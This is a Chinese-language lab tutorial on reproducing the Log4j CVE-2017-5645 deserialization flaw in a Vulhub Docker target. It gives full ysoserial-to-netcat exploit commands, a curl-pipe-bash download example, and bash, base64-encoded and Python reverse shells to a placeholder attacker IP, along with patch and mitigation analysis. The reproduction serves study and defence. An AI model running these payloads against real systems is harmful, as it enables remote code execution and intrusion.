
1. 项目概述与核心思路今天我们来聊聊一个在安全圈里“经久不衰”的老朋友——Apache Log4j 2.x版本中的CVE-2017-5645反序列化漏洞。这个漏洞虽然不像后来的Log4ShellCVE-2021-44228那样“核弹级”但它却是理解Java反序列化漏洞利用和Log4j早期架构风险的一个绝佳样本。很多刚入门安全研究的朋友都是从复现这类经典的、边界清晰的漏洞开始的。简单来说这个漏洞允许攻击者向一个配置了Socket日志服务器的Log4j应用发送一段恶意构造的数据就能在服务器上执行任意命令比如创建一个文件甚至反弹一个Shell回来。听起来是不是有点“魔法”其实背后的原理并不复杂核心就是Java对象序列化与反序列化机制的安全边界问题。为什么我们要在2025年还去复现一个2017年的漏洞原因有几个。第一它是理解后续更复杂漏洞如利用JNDI注入的Log4Shell的基础很多攻击思路一脉相承。第二在内部渗透测试或红队评估中你仍然有可能遇到一些遗留的、未及时更新的内部系统或设备它们可能正运行着有漏洞的Log4j版本。第三对于开发者而言理解这个漏洞能让你深刻认识到将反序列化接口暴露给不可信网络源是多么危险的一件事从而在自身编码中避免类似陷阱。本次复现我们将从零开始搭建一个漏洞环境使用经典的ysoserial工具生成攻击载荷并深入分析数据流是如何一步步从网络数据包变成服务器上的命令执行的。整个过程就像一次精密的“外科手术”让我们能清晰地看到安全链条是在哪个环节断裂的。2. 漏洞原理深度解析2.1 Log4j的Socket日志服务器机制要理解CVE-2017-5645首先得知道Log4j 2.x的一个特性它支持通过网络Socket接收日志事件。这意味着一个应用程序我们称之为日志发送端可以不把日志写到本地文件而是通过网络发送到另一台专门负责收集日志的服务器接收端。Log4j提供了两种Socket服务器实现TcpSocketServer基于TCP和UdpSocketServer基于UDP。它们在设计上为了高效传输复杂的日志事件对象使用了Java的对象序列化机制。序列化你可以把它想象成“打包”。一个在内存中的Java对象比如一个包含了时间戳、日志级别、线程名、消息内容等属性的LogEvent对象通过ObjectOutputStream被转换成一串字节流。这串字节流可以被保存到文件或者通过网络发送出去。反序列化就是“拆包”接收方拿到这串字节流通过ObjectInputStream将其还原成内存中一模一样的Java对象。这个过程本身是Java提供的一个非常方便的特性。问题就出在Log4j 2.8.2版本之前的TcpSocketServer和UdpSocketServer实现上。它们在SocketHandler或UdpSocketHandler的run方法中直接创建了ObjectInputStream来读取网络Socket上传来的数据并且没有任何验证就直接调用了readObject()方法。这相当于你家门口有个收件箱任何人只要把包裹塞进去你都会毫不犹豫地拆开并执行包裹里写的任何指令——这显然是非常危险的。2.2 反序列化漏洞的通用攻击原理Java的readObject()方法在反序列化时会尝试根据字节流中的类描述信息去构造对应的类实例。在构造过程中它会自动调用该类的readObject方法如果该类自定义了的话。攻击者的核心思路就是构造一个特殊的字节流这个流描述的“类”和“数据”能在反序列化过程中触发一连串的恶意行为。直接让服务器反序列化一个包含Runtime.exec(“恶意命令”)的类行不通因为目标服务器的ClassPath里根本没有我们这个恶意类的定义。于是攻击者需要利用目标服务器ClassPath中已有的、具有“危险特性”的类像搭积木一样组合出一条调用链最终达到执行命令的目的。这条调用链就是所谓的“Gadget Chain”利用链。在Java生态中一些广泛使用的库因为其功能强大、设计灵活无意中提供了这些危险的“积木”。对于CVE-2017-5645流行的攻击时期2017年最著名的“积木箱”就是Apache Commons Collections 3.x/4.x库。这个库提供了很多好用的工具类比如Transformer接口和InvokerTransformer实现它可以通过反射调用任意方法。攻击者可以精心构造一个对象使得在反序列化时其readObject逻辑会触发InvokerTransformer去调用Runtime.getRuntime().exec()。这就是为什么我们后续复现会用到CommonsCollections5这个payload的原因它指的就是针对Commons Collections库的第5条公开的利用链。2.3 CVE-2017-5645漏洞触发路径结合上面两点整个漏洞的触发路径就非常清晰了攻击端利用ysoserial工具指定使用CommonsCollections5这条利用链并将我们要执行的系统命令如touch /tmp/hacked作为参数生成一段恶意的序列化字节流。传输通过ncnetcat或自定义的Socket客户端将这段字节流直接发送到目标服务器Log4j Socket服务器监听的端口默认是4712/TCP。受害端Log4j的TcpSocketServer接收到TCP连接和数据在新线程中处理。触发SocketHandler使用ObjectInputStream读取数据并调用readObject()。执行readObject()过程触发了内嵌在字节流中的CommonsCollections5利用链最终成功执行了Runtime.getRuntime().exec(“touch /tmp/hacked”)。注意这里有一个非常关键的细节。这个漏洞的利用前提是目标应用的ClassPath中必须包含有漏洞版本的Apache Commons Collections库。Log4j本身并不依赖这个库但绝大多数Java Web应用尤其是Spring、Struts2等框架构建的都会引入它。因此在真实环境中这个组合条件非常容易满足。3. 漏洞复现环境搭建与配置3.1 环境准备与工具清单“工欲善其事必先利其器”。复现这个漏洞我们需要准备两个环境一个是存在漏洞的Log4j服务端靶机另一个是发起攻击的客户端攻击机。为了快速、干净地搭建环境我们使用Docker这能避免污染本地系统。攻击机Kali Linux 或任何安装有Java和工具的Linux/MacJava环境需要安装JDK 8或11因为ysoserial工具基于Java。通过java -version验证。ysoserial工具这是生成反序列化Payload的瑞士军刀。我们需要从GitHub下载其JAR包。netcat (nc)一个强大的网络工具用于发送TCP/UDP数据流。通常系统已内置或可通过包管理器安装apt install netcat或yum install nc。靶机使用Vulhub漏洞靶场Docker Docker Compose这是快速搭建漏洞环境的最便捷方式。我们将使用著名的Vulhub项目中的Log4j CVE-2017-5645环境。Vulhub项目一个预置了大量漏洞环境的Docker Compose集合。我们只需要下载并启动对应的服务即可。操作步骤在攻击机上安装Docker和Docker Compose如果还没有的话。克隆Vulhub仓库git clone https://github.com/vulhub/vulhub.git进入漏洞目录cd vulhub/log4j/CVE-2017-5645启动漏洞环境docker-compose up -d这个命令会拉取镜像并在后台启动一个容器。该容器运行着一个配置了TcpSocketServer的简单Java应用监听4712端口并且其ClassPath中包含有漏洞版本的Apache Commons Collections库。3.2 靶场服务验证与网络确认环境启动后我们首先要确认靶机服务是否正常启动并且网络是通的。检查容器状态docker-compose ps你应该能看到一个名为cve-2017-5645的容器处于Up状态。查看容器IP和端口映射docker-compose port cve-2017-5645 4712这条命令会输出类似0.0.0.0:4712的信息表示宿主机的4712端口已经映射到了容器的4712端口。如果你的攻击机和Docker宿主机是同一台机器那么靶机IP就是127.0.0.1。如果是远程Docker主机则需要使用该主机的IP地址。测试端口连通性 在攻击机上使用nc测试端口是否开放。nc -zv 靶机IP 4712如果返回succeeded或连接成功说明漏洞服务正在监听。实操心得有时候Docker容器启动后应用初始化需要几秒钟。如果连接失败可以稍等片刻再试或者查看容器日志docker-compose logs来排查问题。确保防火墙如云服务器的安全组放行了4712端口。4. 攻击Payload生成与利用4.1 ysoserial工具的使用详解ysoserial是一个集合了多种Java反序列化利用链Gadget Chain的生成工具。我们需要下载其最新的可执行JAR包。下载ysoserial 可以从其GitHub Release页面下载预编译的JAR文件或者克隆源码自行编译。这里我们直接使用JAR包。wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar如果下载速度慢可以寻找国内的镜像源或使用其他方式获取。查看支持的Payloadjava -jar ysoserial-all.jar运行后会列出所有可用的利用链如CommonsCollections1到CommonsCollections10、JRMPClient、URLDNS等。对于我们的目标常用的是CommonsCollections5或CommonsCollections6它们在很多环境下通用性较好。生成攻击Payload 我们的目的是在靶机上执行一个命令例如创建一个文件作为攻击成功的证明。java -jar ysoserial-all.jar CommonsCollections5 touch /tmp/pwned_by_cve_2017_5645 payload.binCommonsCollections5指定使用的利用链。“touch /tmp/pwned_by_cve_2017_5645”我们希望最终在靶机上执行的系统命令。 payload.bin将生成的恶意序列化字节流保存到payload.bin文件中。此时payload.bin文件的内容就是我们的“武器”。它看起来是一堆乱码但其内部结构精心设计一旦被有漏洞的ObjectInputStream读取就会触发连锁反应。4.2 发起网络攻击与命令执行有了Payload下一步就是将它“发射”到靶机的4712端口。由于Log4j的TcpSocketServer期望接收原始的序列化字节流我们可以使用管道操作将ysoserial的输出直接通过网络发送出去而无需保存为中间文件。单条命令完成攻击java -jar ysoserial-all.jar CommonsCollections5 “touch /tmp/pwned_by_cve_2017_5645” | nc 靶机IP 4712这条命令做了以下几件事java -jar ...在内存中生成Payload字节流。|管道将生成的字节流传递给下一个命令nc作为标准输入。nc 靶机IP 4712建立到靶机4712端口的TCP连接并将接收到的标准输入即Payload字节流全部发送出去。发送完成后nc命令会结束。从表面上看可能没有任何回显。这是因为我们的Payload只是执行了一个touch命令服务端不会将执行结果通过网络返回给我们。4.3 验证攻击是否成功攻击是否生效我们需要进入靶机容器内部查看。进入Docker容器 首先找到靶场容器的ID或名称。docker ps | grep cve-2017-5645假设容器ID是abc123def。docker exec -it abc123def /bin/bash这样就进入了容器的Shell环境。检查命令执行结果ls -la /tmp/ | grep pwned_by_cve_2017_5645如果攻击成功你应该能看到pwned_by_cve_2017_5645这个文件被创建出来并且时间戳就是刚刚攻击发生的时间。-rw-r--r-- 1 root root 0 May 23 12:34 pwned_by_cve_2017_5645恭喜至此你已经成功复现了CVE-2017-5645漏洞。你通过一个网络请求在远程服务器上执行了任意命令。你可以尝试将touch命令替换成其他命令例如“id /tmp/result”将当前用户ID写入文件。“curl http://your-server.com/shell.sh | bash”下载并执行远程脚本需注意网络可达性。反弹Shell这是渗透测试中获取交互式访问权限的关键一步我们将在下一节详细展开。注意事项在真实测试中务必在获得明确授权的范围内进行。touch命令是无害的证明而执行rm -rf /或下载木马等破坏性命令是违法且不道德的。5. 高级利用反弹Shell与深度利用5.1 构造反弹Shell命令仅仅创建文件证明漏洞存在还不够在安全评估中我们通常需要获得一个交互式的Shell会话以便进一步探索目标系统。这就是“反弹Shell”Reverse Shell。原理是让靶机主动连接攻击机监听的某个端口并将其命令行的输入输出重定向到这个网络连接上。假设攻击机IP是192.168.1.100我们打算在4444端口监听。在攻击机上先启动监听nc -lvnp 4444参数解释-l监听模式。-v详细输出。-n不解析域名。-p 4444指定监听端口。构造反弹Shell的Payload 我们需要生成一个能让靶机执行反弹Shell命令的Payload。常用的反弹Shell命令有很多需要根据靶机系统可用的工具来选择。由于我们的靶场是Linux基础镜像通常包含bash。使用bash反弹Shell的命令如下bash -i /dev/tcp/192.168.1.100/4444 01或者使用更兼容的版本/bin/bash -c ‘bash -i /dev/tcp/192.168.1.100/4444 01’但是这里有一个巨大的坑ysoserial的Payload参数中的命令字符串如果包含空格、引号、重定向符号()、管道(|)等在命令行传递和Java执行时可能会被错误地解析。直接使用上面的复杂命令很容易失败。可靠的解决方案是编码Base64编码将命令编码成Base64然后在靶机上解码执行。echo “bash -i /dev/tcp/192.168.1.100/4444 01” | base64假设输出是YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo构造解码执行的命令echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo | base64 -d | bash这条命令先echo出Base64字符串然后通过管道用base64 -d解码最后交给bash执行。因此我们生成Payload的命令变为java -jar ysoserial-all.jar CommonsCollections5 “echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo | base64 -d | bash” | nc 靶机IP 47125.2 利用过程与交互会话获取在攻击机上首先在一个新的终端窗口执行nc -lvnp 4444开始监听。在另一个终端窗口执行上面那条包含Base64编码反弹Shell命令的Payload生成与发送指令。如果一切顺利你会在监听nc的窗口看到连接建立并出现一个bash提示符可能是root容器ID。此时你已经获得了靶机容器的一个反向Shell可以执行idlswhoami等命令进行交互。为什么有时会失败网络问题靶机必须能访问到攻击机的IP和端口。如果攻击机在NAT后或防火墙内需要做端口映射。命令解析问题这就是为什么推荐使用Base64编码它能避免特殊字符在多层传递中被错误解析。靶机环境问题靶机可能没有base64命令或者bash路径不对。可以尝试其他命令如使用python反弹Shellpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’同样也可以将其进行Base64编码后传递。5.3 漏洞修复与缓解措施分析复现漏洞的最终目的是为了理解和修复它。Apache官方在Log4j 2.8.2版本中修复了此漏洞。修复方案升级Log4j最根本的解决方案是将Apache Log4j 2.x升级到2.8.2或更高版本。新版本在TcpSocketServer和UdpSocketServer中引入了ObjectInputStream的过滤机制。查看补丁修复的核心是为ObjectInputStream设置了ObjectInputFilter。这个过滤器可以限制反序列化时允许加载的类通常设置为只允许LogEvent及其相关类从而阻断攻击者利用第三方库如Commons Collections中的类构造利用链。临时缓解措施如果无法立即升级网络层面严格限制访问Log4j Socket服务器端口默认4712的源IP。只允许可信的日志发送端访问。配置层面如果业务不需要远程Socket日志功能在Log4j配置文件中关闭或移除SocketAppender、TcpSocketServer等相关配置。依赖库层面升级或移除ClassPath中存在反序列化利用链的库例如将Apache Commons Collections升级到已修复安全问题的版本但注意Log4j本身不依赖它修复依赖库只是增加了攻击难度并未根治Log4j自身反序列化无过滤的问题。6. 常见问题排查与深度思考6.1 复现过程中可能遇到的坑即使按照步骤操作你也可能会遇到一些问题。这里总结几个常见的情况和排查思路。问题现象可能原因排查与解决方案nc连接靶机端口失败1. 靶机Docker容器未成功启动。2. 端口映射错误或防火墙阻挡。3. 攻击机与Docker宿主机网络不通。1.docker-compose ps和docker-compose logs查看容器状态和日志。2.docker-compose port确认端口映射检查宿主机防火墙规则。3. 如果攻击机非宿主机确保网络路由可达。发送Payload后无任何反应容器内未创建文件1. Payload生成或发送错误。2. 靶机环境缺少必要的利用链依赖Commons Collections。3. 命令字符串在传输或执行时被截断或解析错误。1. 确认ysoserial命令语法正确特别是Payload类型和命令参数。2. 进入容器检查/path/to/classpath是否包含commons-collections-*.jar。3.强烈建议先将命令简化如使用“echo test /tmp/test”来验证基础功能。使用Base64编码复杂命令。反弹Shell监听端无连接1. 反弹Shell命令构造错误。2. 靶机无法访问攻击机监听IP/端口。3. 靶机内缺少bash、nc、python等用于反弹Shell的工具。1. 先在靶机上手动执行你构造的反弹Shell命令看能否成功连接。这是最有效的调试方法。2. 在攻击机用tcpdump或Wireshark抓包看是否有TCP SYN包发向4444端口。3. 尝试使用不同工具的命令或使用更简单的Telnet风格Payload“nc 192.168.1.100 4444 -e /bin/bash”需靶机nc支持-e参数。使用CommonsCollections5失败目标ClassPath中的Commons Collections库版本与ysoserial中的利用链不兼容。尝试ysoserial中的其他利用链如CommonsCollections1,CommonsCollections6,CommonsCollections7等。在真实环境中可能需要多次尝试才能找到可用的链。6.2 从漏洞复现中学到的安全启示复现CVE-2017-5645不仅仅是一次技术练习它更应该引发我们对软件开发和安全的一些深层思考反序列化即危险任何从不可信源尤其是网络接收数据并进行反序列化的操作都是极端危险的。这应该成为开发者的安全铁律。如果业务必须使用必须实施严格的输入验证和白名单过滤如Java的ObjectInputFilter。默认安全原则Log4j的Socket服务器默认信任任何连接这是不安全的设计。安全的框架应该遵循“默认拒绝”原则除非显式配置否则不应开放危险功能。供应链安全这个漏洞的利用依赖于另一个通用库Commons Collections。这说明即使你直接使用的组件Log4j相对安全你依赖的间接库也可能引入致命风险。需要持续关注并更新整个依赖树。纵深防御单一防护点总是不可靠的。除了修复漏洞本身网络层的访问控制防火墙、主机层的权限最小化不以root运行Java应用、运行时的安全监控RASP等共同构成纵深防御体系。漏洞研究的价值通过亲手复现你才能真正理解漏洞的触发条件、影响范围和利用难度。这份理解是进行有效漏洞扫描、入侵检测和应急响应的基础。知道攻击者是怎么进来的你才能更好地守住大门。6.3 拓展与其他Log4j漏洞的关联CVE-2017-5645是Log4j反序列化漏洞的一个典型。而2021年底爆发的Log4ShellCVE-2021-44228则是另一个维度的“史诗级”漏洞。它们虽然都出自Log4j但原理截然不同CVE-2017-5645主动监听端口被动接收恶意序列化数据。漏洞点在数据反序列化处理逻辑。Log4Shell在记录日志时主动对日志消息中的特定字符串${jndi:ldap://…}进行解析和查找。漏洞点在日志消息的解析和动态查找机制。一个好比是邮局SocketServer对所有来信不检查就拆开执行反序列化另一个好比是报纸印刷厂日志记录器在排版时看到报纸内容里有个“魔法咒语”JNDI Lookup就真的跑去念这个咒语执行远程代码。理解两者的区别能帮助你更全面地把握Log4j这个组件的安全脉络。最后记得在实验结束后清理环境。在Vulhub目录下执行docker-compose down即可停止并移除容器。安全研究的路很长从一个个经典的漏洞复现开始逐步构建自己的知识体系和实战能力切记始终在法律和道德允许的范围内进行探索。